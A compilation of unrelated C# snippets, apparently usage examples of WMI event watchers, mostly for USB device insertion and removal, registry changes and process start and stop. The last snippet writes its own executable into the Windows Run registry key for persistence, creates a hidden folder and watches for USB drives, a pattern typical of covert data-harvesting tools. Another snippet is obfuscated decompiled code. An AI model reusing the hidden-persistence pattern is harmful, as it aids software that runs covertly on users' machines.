/// <summary> /// Initializes a new instance of the <see cref="Program"/> class. /// </summary> public Program() { try { // Your query goes below; "KeyPath" is the key in the registry that you // want to monitor for changes. Make sure you escape the \ character. WqlEventQuery query = new WqlEventQuery( "SELECT * FROM RegistryValueChangeEvent WHERE " + "Hive = 'HKEY_LOCAL_MACHINE'" + @"AND KeyPath = 'SOFTWARE\\Microsoft\\.NETFramework' AND ValueName='InstallRoot'"); ManagementEventWatcher watcher = new ManagementEventWatcher(query); Console.WriteLine("Waiting for an event..."); // Set up the delegate that will handle the change event. watcher.EventArrived += new EventArrivedEventHandler(HandleEvent); // Start listening for events. watcher.Start(); // Do something while waiting for events. In your application, // this would just be continuing business as usual. System.Threading.Thread.Sleep(100000000); // Stop listening for events. watcher.Stop(); } catch (ManagementException managementException) { Console.WriteLine("An error occurred: " + managementException.Message); } }
// Token: 0x0600057F RID: 1407 RVA: 0x00023A78 File Offset: 0x00021C78 private void ce1d892d8057ff475a77b5adc3b033e04(Action <EventArrivedEventArgs> cc5311ae3fb065285d00d648f1e2c499f, Action <EventArrivedEventArgs> c66af968a63bc828758428a58a4220347 = null) { c8182050bde64f716a9855055b4bd295b.ca166dc58c6225570137b6dff36d44d67 ca166dc58c6225570137b6dff36d44d = new c8182050bde64f716a9855055b4bd295b.ca166dc58c6225570137b6dff36d44d67(); ca166dc58c6225570137b6dff36d44d.c4404a159870bf55bb6f111e66e59e82d = this; ca166dc58c6225570137b6dff36d44d.cc5311ae3fb065285d00d648f1e2c499f = cc5311ae3fb065285d00d648f1e2c499f; ca166dc58c6225570137b6dff36d44d.c66af968a63bc828758428a58a4220347 = c66af968a63bc828758428a58a4220347; WqlEventQuery query = new WqlEventQuery(ceffa389ee86c0ee26f31dd3efacbdd38.c5dd75c94760bfb37727a44ddc794d278(41964)); ca166dc58c6225570137b6dff36d44d.c775ecebe54de6681e30b2fbca1266e01 = new ManagementEventWatcher(query); ca166dc58c6225570137b6dff36d44d.c775ecebe54de6681e30b2fbca1266e01.EventArrived += ca166dc58c6225570137b6dff36d44d.c01ec3af5e565e7531ea9daa785193240; ca166dc58c6225570137b6dff36d44d.c775ecebe54de6681e30b2fbca1266e01.Start(); WqlEventQuery query2 = new WqlEventQuery(ceffa389ee86c0ee26f31dd3efacbdd38.c5dd75c94760bfb37727a44ddc794d278(42079)); ca166dc58c6225570137b6dff36d44d.ca595951501f754c52f6ba39b8ccf3c97 = new ManagementEventWatcher(query2); ca166dc58c6225570137b6dff36d44d.ca595951501f754c52f6ba39b8ccf3c97.EventArrived += ca166dc58c6225570137b6dff36d44d.c35f66702a2b097b5dcc8b463f9f7230d; ca166dc58c6225570137b6dff36d44d.ca595951501f754c52f6ba39b8ccf3c97.Start(); }
private ManagementEventWatcher _CreateEventWatcher() { // create event query to be notified within 1 second of a change in a service var query = new WqlEventQuery( "__InstanceDeletionEvent", new TimeSpan(0, 0, 1), "TargetInstance isa \"Win32_Process\" And TargetInstance.Name=\"wuauclt.exe\""); return(new ManagementEventWatcher { Query = query, Options = { Timeout = new TimeSpan(0, 0, 5) // times out watcher.WaitForNextEvent in 5 seconds } }); }
protected ThemeWatcher() { WindowsIdentity currentUser = WindowsIdentity.GetCurrent(); WqlEventQuery systemQuery = new WqlEventQuery( "SELECT * FROM RegistryValueChangeEvent WHERE " + "Hive = 'HKEY_USERs'" + $"AND KeyPath = '{currentUser.User.Value}{ThemeKeyForWMI}' AND ValueName='{SystemValueName}'"); _systemWatcher = new ManagementEventWatcher(systemQuery); WqlEventQuery appQuery = new WqlEventQuery( "SELECT * FROM RegistryValueChangeEvent WHERE " + "Hive = 'HKEY_USERs'" + $"AND KeyPath = '{currentUser.User.Value}{ThemeKeyForWMI}' AND ValueName='{AppValueName}'"); _appWatcher = new ManagementEventWatcher(appQuery); }
private void Start() { WqlEventQuery insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); this.insertWatcher = new ManagementEventWatcher(insertQuery); this.insertWatcher.EventArrived += new EventArrivedEventHandler(DeviceInsertedEvent); this.insertWatcher.Start(); WqlEventQuery removeQuery = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); this.removeWatcher = new ManagementEventWatcher(removeQuery); this.removeWatcher.EventArrived += new EventArrivedEventHandler(DeviceRemovedEvent); this.removeWatcher.Start(); this.btnStop.Enabled = true; this.btnStart.Enabled = false; }
// not used yet, however, tested and works // examples: generic_monitor("Win32_USBHub"); generic_monitor("Win32_DiskDrive"); public void monitor(string class_name) { try { WqlEventQuery insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA '" + class_name + "'"); ManagementEventWatcher insertWatcher = new ManagementEventWatcher(insertQuery); insertWatcher.EventArrived += new EventArrivedEventHandler(device_inserted_event); insertWatcher.Start(); WqlEventQuery removeQuery = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA '" + class_name + "'"); ManagementEventWatcher removeWatcher = new ManagementEventWatcher(removeQuery); removeWatcher.EventArrived += new EventArrivedEventHandler(device_removed_event); removeWatcher.Start(); } catch (Exception e) { throw new external_drive_libexception("could not monitor for " + class_name, e); } }
public static void DevicesAnalytics() { try { WqlEventQuery weqQuery = new WqlEventQuery(); weqQuery.EventClassName = "__InstanceOperationEvent"; weqQuery.WithinInterval = new TimeSpan(0, 0, 3); weqQuery.Condition = @"TargetInstance ISA 'Win32_DiskDrive'"; ManagementScope msScope = new ManagementScope("root\\CIMV2"); msScope.Options.EnablePrivileges = true; m_mewWatcher = new ManagementEventWatcher(msScope, weqQuery); m_mewWatcher.EventArrived += new EventArrivedEventHandler(m_mewWatcher_EventArrived); m_mewWatcher.Start(); } catch { }; }
public WMIReceiveEvent(string str) { ManagementScope x = new System.Management.ManagementScope("root\\WMI"); WqlEventQuery query = new WqlEventQuery("SELECT * FROM WMIACPIEvent"); watcher = new ManagementEventWatcher(x, query); Console.WriteLine("Waiting for an event..."); if (str == "AutoReg") { watcher.EventArrived += new EventArrivedEventHandler(HandleEvent); // Start listening for events watcher.Start(); } }
private void checkfornewoutput() { WqlEventQuery query = new WqlEventQuery("SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 3"); watcher2.EventArrived += new EventArrivedEventHandler(watcher_EventArrived); watcher2.Query = query; watcher2.Options.Timeout = new TimeSpan(0, 0, 5); watcher2.Start(); try { watcher2.WaitForNextEvent(); } catch (Exception) { //left empty on purpose } }
static NANDService() { Validator = DefaultValidator; // Create event handlers to detect when a device is added or removed CreateWatcher = new ManagementEventWatcher(); WqlEventQuery createQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); CreateWatcher.EventArrived += new EventArrivedEventHandler((s, e) => { if (NAND == null) // ignore if we already found the Switch { IterateDisks(); } }); CreateWatcher.Query = createQuery; DeleteWatcher = new ManagementEventWatcher(); WqlEventQuery deleteQuery = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); DeleteWatcher.EventArrived += new EventArrivedEventHandler((s, e) => { if (NAND != null) // ignore if we haven't found a Switch yet { if (CurrentDisk != null) { // means the NAND is access over USB, so we need to determine if it ManagementObjectCollection disks = GetDisks(); bool found = false; foreach (ManagementObject disk in disks) // search to see if we can match the DiskInfo with an existing device { DiskInfo info = CreateDiskInfo(disk); if (info.Equals(CurrentDisk)) { found = true; break; } } if (!found) { OnNANDRemoved(); } } } }); DeleteWatcher.Query = deleteQuery; }
public static void InitPowerEvents() { try { WqlEventQuery wqlEventQuery1 = new WqlEventQuery(); ManagementScope scope = new ManagementScope("root\\CIMV2"); wqlEventQuery1.EventClassName = "Win32_PowerManagementEvent"; WqlEventQuery wqlEventQuery2 = wqlEventQuery1; HDAgent.sManagementEventWatcher = new ManagementEventWatcher(scope, (EventQuery)wqlEventQuery2); HDAgent.sManagementEventWatcher.EventArrived += new EventArrivedEventHandler(HDAgent.PowerEventArrive); HDAgent.sManagementEventWatcher.Start(); } catch (Exception ex) { Logger.Error("An error occured while capturing power events...Err : " + ex.ToString()); } }
static void Main(string[] args) { ManagementScope scope = new ManagementScope("\\\\.\\Root\\CIMV2"); scope.Connect(); string condition = "TargetInstance isa \"CIM_DataFile\" and TargetInstance.Drive=\"D:\"" + " and TargetInstance.Path=\"\\\\.\\\\\""; WqlEventQuery query = new WqlEventQuery("__InstanceCreationEvent", new TimeSpan(0, 0, 5), condition); ManagementEventWatcher watcher = new ManagementEventWatcher(scope, query); watcher.EventArrived += new EventArrivedEventHandler(HandleFMEvent);//(object sender, EventArrivedEventArgs e) => HandleFMEvent(sender, e, (int)rtype, Output)); watcher.Start(); while (!Console.ReadLine().Equals("stop")) { } watcher.Stop(); }
public ProcessObserver(string processName, EventArrivedEventHandler onStart, EventArrivedEventHandler onStop) { WqlEventQuery startQuery = new WqlEventQuery("Win32_ProcessStartTrace", String.Format("ProcessName='{0}'", processName)); m_processStartEvent = new ManagementEventWatcher(startQuery); WqlEventQuery stopQuery = new WqlEventQuery("Win32_ProcessStopTrace", String.Format("ProcessName='{0}'", processName)); m_processStopEvent = new ManagementEventWatcher(stopQuery); if (onStart != null) { m_processStartEvent.EventArrived += onStart; } if (onStop != null) { m_processStopEvent.EventArrived += onStop; } }
private void Window_Loaded(object sender, RoutedEventArgs e) { var processStartTrace = new WqlEventQuery("SELECT * FROM Win32_ProcessStartTrace"); processStartEvent = new ManagementEventWatcher(processStartTrace); processStartEvent.EventArrived += new EventArrivedEventHandler(ProcessStartEvent_EventArrived); var processStopTrace = new WqlEventQuery("SELECT * FROM Win32_ProcessStopTrace"); processStopEvent = new ManagementEventWatcher(processStopTrace); processStopEvent.EventArrived += new EventArrivedEventHandler(ProcessStopEvent_EventArrived); processStartEvent.Start(); processStopEvent.Start(); ExeFileName = "myTube.exe"; }
private void bw_DoWork(object sender, DoWorkEventArgs e) { WqlEventQuery insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); ManagementEventWatcher insertWatcher = new ManagementEventWatcher(insertQuery); insertWatcher.EventArrived += new EventArrivedEventHandler(DeviceInserterd); insertWatcher.Start(); WqlEventQuery removeQuery = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); ManagementEventWatcher removeWatcher = new ManagementEventWatcher(removeQuery); removeWatcher.EventArrived += new EventArrivedEventHandler(DeviceRemoved); removeWatcher.Start(); Thread.Sleep(20000000); }
public static void WriteToEventLog() { WqlEventQuery demoQuery = new WqlEventQuery("__InstanceCreationEvent", new TimeSpan(0, 0, 1)); ManagementEventWatcher demoWatcher = new ManagementEventWatcher(); demoWatcher.Query = demoQuery; demoWatcher.Options.Timeout = new TimeSpan(0, 0, 30); Console.WriteLine("Open an aplication to trigger an event"); ManagementBaseObject e = demoWatcher.WaitForNextEvent(); EventLog demoLog = new EventLog("Chap10demo"); demoLog.Source = "Demo"; String eventName = ((ManagementBaseObject)e["TargetInstance"])["Name"].ToString(); demoLog.WriteEntry(eventName, EventLogEntryType.Information); demoWatcher.Stop(); }
public static void Main(string[] args) { // Requests sending aggregated events // if the number of events exceeds 15. String[] props = { "TargetInstance.SourceName" }; WqlEventQuery q = new WqlEventQuery( "__InstanceCreationEvent", System.TimeSpan.MaxValue, "TargetInstance isa 'Win32_NTLogEvent'", new TimeSpan(0, 10, 0), props, "NumberOfEvents >15"); Console.WriteLine(q.QueryString); return; }
/// <summary> /// Starts the monitoring. /// </summary> internal void StartMonitoring(VirtualComPortsFinderMode monitorMode) { // Clear any existing monitoring if it exists StopMonitoring(); // Add subscriptions to WMI insert and removal events WqlEventQuery eventQuery; ManagementScope scope = new ManagementScope("root\\CIMV2"); scope.Options.EnablePrivileges = true; try { if (monitorMode == VirtualComPortsFinderMode.Added || monitorMode == VirtualComPortsFinderMode.Both) { // Subscribe to instance creation events eventQuery = new WqlEventQuery("__InstanceCreationEvent"); eventQuery.WithinInterval = new TimeSpan(0, 0, 3); eventQuery.Condition = @"TargetInstance ISA 'Win32_SerialPort'"; _usbInsertWatcher = new ManagementEventWatcher(scope, eventQuery); _usbInsertWatcher.EventArrived += UsbInsertWatcher_EventArrived; _usbInsertWatcher.Start(); Trace.TraceInformation("{0}.StartMonitoring: Win32_SerialPort insert watcher started", CLASSNAME); } if (monitorMode == VirtualComPortsFinderMode.Removed || monitorMode == VirtualComPortsFinderMode.Both) { // Subscribe to instance removal events eventQuery = new WqlEventQuery("__InstanceDeletionEvent"); eventQuery.WithinInterval = new TimeSpan(0, 0, 3); eventQuery.Condition = @"TargetInstance ISA 'Win32_SerialPort'"; _usbRemovalWatcher = new ManagementEventWatcher(scope, eventQuery); _usbRemovalWatcher.EventArrived += UsbRemovalWatcher_EventArrived; _usbRemovalWatcher.Start(); Trace.TraceInformation("{0}.StartMonitoring: Win32_SerialPort removal watcher started", CLASSNAME); } } catch (Exception ex) { // Make sure we cleanup properly if there is an error Trace.TraceError("{0}.StartMonitoring: Exception={1}", CLASSNAME, ex.GetBaseException()); StopMonitoring(); throw; } }
/*-----------------------------------------------------------------------*/ #endregion #region Monitoring /*-----------------------------------------------------------------------*/ /// <summary>Starts the monitoring of device.</summary> /// <param name="path"></param> /// <param name="mediaEvent"></param> public void Monitor(string path, MediaEvent mediaEvent) { if (null == mediaEvent) { throw new ArgumentException("Media event cannot be null!"); } //In case same class was called make sure only one instance is running ///////////////////////////////////////////////////////////// this.Exit(); //Keep logica drive to check ///////////////////////////////////////////////////////////// this.m_logicalDrive = this.GetLogicalDrive(path); WqlEventQuery wql; ManagementOperationObserver observer = new ManagementOperationObserver(); //Bind to local machine ///////////////////////////////////////////////////////////// ConnectionOptions opt = new ConnectionOptions(); //Sets required privilege ///////////////////////////////////////////////////////////// opt.EnablePrivileges = true; ManagementScope scope = new ManagementScope("root\\CIMV2", opt); try { wql = new WqlEventQuery(); wql.EventClassName = "__InstanceModificationEvent"; wql.WithinInterval = new TimeSpan(0, 0, 1); wql.Condition = String.Format(@"TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DeviceId = '{0}'", this.m_logicalDrive); this.m_managementEventWatcher = new ManagementEventWatcher(scope, wql); //Register async. event handler ///////////////////////////////////////////////////////////// this.m_managementEventWatcher.EventArrived += new EventArrivedEventHandler(mediaEvent.MediaEventArrived); this.m_managementEventWatcher.Start(); } catch (Exception e) { this.Exit(); throw new Exception("Media Check: " + e.Message); } }
private static void MonitorDeviceChanges() { try { var deviceArrivalQuery = new WqlEventQuery("SELECT * FROM Win32_DeviceChangeEvent WHERE EventType = 2"); var deviceRemovalQuery = new WqlEventQuery("SELECT * FROM Win32_DeviceChangeEvent WHERE EventType = 3"); arrival = new ManagementEventWatcher(deviceArrivalQuery); removal = new ManagementEventWatcher(deviceRemovalQuery); arrival.EventArrived += (o, args) => RaisePortsChangedIfNecessary(EventType.Insertion); removal.EventArrived += (sender, eventArgs) => RaisePortsChangedIfNecessary(EventType.Removal); // Start listening for events arrival.Start(); removal.Start(); } catch (ManagementException) { } }
/// <summary> /// Initializes a new instance of the <see cref="DeviceWatcherBase{T}"/> class. /// </summary> /// <param name="eventQueryString">The event query string.</param> /// <param name="invoker">The invoker.</param> /// <param name="output">The output.</param> /// <exception cref="System.NullReferenceException">T</exception> protected DeviceWatcherBase(string eventQueryString, IInvoker invoker, IOutputDevice output) { EventQueryString = eventQueryString; if (invoker == null) { throw new NullReferenceException($"{nameof(DeviceWatcherBase<T>)} {nameof(invoker)} can not be null!"); } Invoker = invoker; Output = output; Devices = new ObservableCollection <T>(); var query = new WqlEventQuery(EventQueryString); _watcher = new ManagementEventWatcher(query); _watcher.EventArrived += (sender, eventArgs) => SearchForDevices(eventArgs); _watcher.Start(); Debug.Assert(_watcher.Query.QueryString == EventQueryString); }
private void Init() { WqlEventQuery insertQuery = new WqlEventQuery("__InstanceCreationEvent", Interval, "TargetInstance isa 'Win32_USBControllerDevice'"); _insertWatcher.Scope = Scope; _insertWatcher.Query = insertQuery; _insertWatcher.EventArrived += _insertWatcher_EventArrived; _insertWatcher.Start(); WqlEventQuery removeQuery = new WqlEventQuery("__InstanceDeletionEvent", Interval, "TargetInstance isa 'Win32_USBControllerDevice'"); _removeWatcher.Scope = Scope; _removeWatcher.Query = removeQuery; _removeWatcher.EventArrived += _removeWatcher_EventArrived; _removeWatcher.Start(); _isStarted = true; }
public RegistryChangeListener(string registryKey, EventArrivedEventHandler eventArrivedEventHandler) { registryKey = registryKey.Replace("\\", "\\\\"); string text = string.Format("SELECT * FROM RegistryKeyChangeEvent WHERE Hive = 'HKEY_LOCAL_MACHINE' AND KeyPath = '{0}'", registryKey); try { WqlEventQuery query = new WqlEventQuery(text); this.watcher = new ManagementEventWatcher(query); this.watcher.EventArrived += eventArrivedEventHandler; this.watcher.Start(); RegistryChangeListener.Tracer.TraceDebug <string>(0L, "Registry Watcher Started With Query: {0}", text); } catch (ManagementException ex) { RegistryChangeListener.Tracer.TraceDebug <string, string>(0L, "An error occurred when setting registry listener. Query: {0}, Message: {1} ", text, ex.Message); } }
private void Form1_Load(object sender, EventArgs e) { closePopup(); WqlEventQuery insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); WqlEventQuery removeQuery = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); ManagementEventWatcher insertWatcher = new ManagementEventWatcher(insertQuery); ManagementEventWatcher removeWatcher = new ManagementEventWatcher(removeQuery); insertWatcher.EventArrived += new EventArrivedEventHandler(DeviceInsertedEvent); removeWatcher.EventArrived += new EventArrivedEventHandler(DeviceRemovedEvent); insertWatcher.Start(); removeWatcher.Start(); String CID = Environment.UserName + "-" + Environment.MachineName; log(CID, "LOGIN"); }
private void StartUsbEvent() { using (var watcher = new ManagementEventWatcher()) { var query = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_USBHub'"); watcher.EventArrived += new EventArrivedEventHandler((x, y) => _dispatcher.Invoke(UpdateDevicesList, DispatcherPriority.Send)); watcher.Query = query; watcher.Start(); } using (var watcher = new ManagementEventWatcher()) { var query = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_USBHub'"); watcher.EventArrived += new EventArrivedEventHandler((x, y) => _dispatcher.Invoke(RemoveUsbEventHandler, DispatcherPriority.Send)); watcher.Query = query; watcher.Start(); } }
public MainWindow() { InitializeComponent(); sp_buffer = new byte[10240]; // 10k memory cbPort.SelectionChanged += CbPort_SelectionChanged; cbPort.DisplayMemberPath = "PortInfo"; RefreshCOMs(); ManagementEventWatcher watcher = new ManagementEventWatcher(); WqlEventQuery query = new WqlEventQuery("SELECT * FROM Win32_DeviceChangeEvent WHERE (EventType = 2 OR EventType = 3)"); watcher.EventArrived += Watcher_EventArrived; watcher.Query = query; watcher.Start(); }
public SerialPortWatcher(MainForm instance) { // Event Watcher for Device Attach events var insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); var insertWatcher = new ManagementEventWatcher(insertQuery); insertWatcher.EventArrived += DeviceInsertedEvent; insertWatcher.Start(); // Event Watcher for device Dettach events var removeQuery = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); var removeWatcher = new ManagementEventWatcher(removeQuery); removeWatcher.EventArrived += DeviceRemovedEvent; removeWatcher.Start(); main_form_object = instance; }
public static void Main(String[] args) { ManagementEventWatcher watcher = new ManagementEventWatcher(); WqlEventQuery query = new WqlEventQuery("SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2"); watcher.EventArrived += (s, e) => { string driveName = (string)e.NewEvent.GetPropertyValue("DriveName"); Console.WriteLine("Inserted drive: {0}", driveName); var drive = new DriveInfo(driveName); Scan(drive.RootDirectory.ToString()); }; watcher.Query = query; watcher.Start(); watcher.WaitForNextEvent(); Console.Read(); }
public MyKadReaderStatus() { InitializeComponent(); //SetStatus(ReaderStatus.Remove); Init(); var insertQuery = new WqlEventQuery("SELECT * FROM Win32_DeviceChangeEvent WHERE EventType = 2"); _watcherAttach = new ManagementEventWatcher(insertQuery); _watcherAttach.EventArrived += new EventArrivedEventHandler(WatcherAttachOnEventArrived); _watcherAttach.Start(); var removeQuery = new WqlEventQuery("SELECT * FROM Win32_DeviceChangeEvent WHERE EventType = 3"); _watcherRemove = new ManagementEventWatcher(removeQuery); _watcherRemove.EventArrived += new EventArrivedEventHandler(WatcherRemoveOnEventArrived); _watcherRemove.Start(); }
private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e) { WqlEventQuery insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); ManagementEventWatcher insertWatcher = new ManagementEventWatcher(insertQuery); insertWatcher.EventArrived += new EventArrivedEventHandler(DeviceInsertedEvent); insertWatcher.Start(); WqlEventQuery removeQuery = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); ManagementEventWatcher removeWatcher = new ManagementEventWatcher(removeQuery); removeWatcher.EventArrived += new EventArrivedEventHandler(DeviceRemovedEvent); removeWatcher.Start(); // Do something while waiting for events System.Threading.Thread.Sleep(20000000); }
static void Main(string[] args) { RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); //Console.WriteLine("Assembly Name -" + splitt()); if (reg.GetValue(splitt()) != null) { //Console.WriteLine("Registry is there !!"); } else { //Console.WriteLine(Assembly.GetExecutingAssembly().Location); reg.SetValue(splitt(), Assembly.GetExecutingAssembly().Location); } if (!Directory.Exists(targetPath)) { DirectoryInfo di = Directory.CreateDirectory(targetPath); di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; } try { //https://stackoverflow.com/a/19435744/4953915 WqlEventQuery insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); ManagementEventWatcher insertWatcher = new ManagementEventWatcher(insertQuery); insertWatcher.EventArrived += new EventArrivedEventHandler(DeviceInsertedEvent); insertWatcher.Start(); WqlEventQuery removeQuery = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'"); ManagementEventWatcher removeWatcher = new ManagementEventWatcher(removeQuery); removeWatcher.EventArrived += new EventArrivedEventHandler(DeviceRemovedEvent); removeWatcher.Start(); } catch (Exception e) { //ConsoleWrite(e.Message); } System.Threading.Thread.Sleep(20000000); //ConsoleReadKey(); }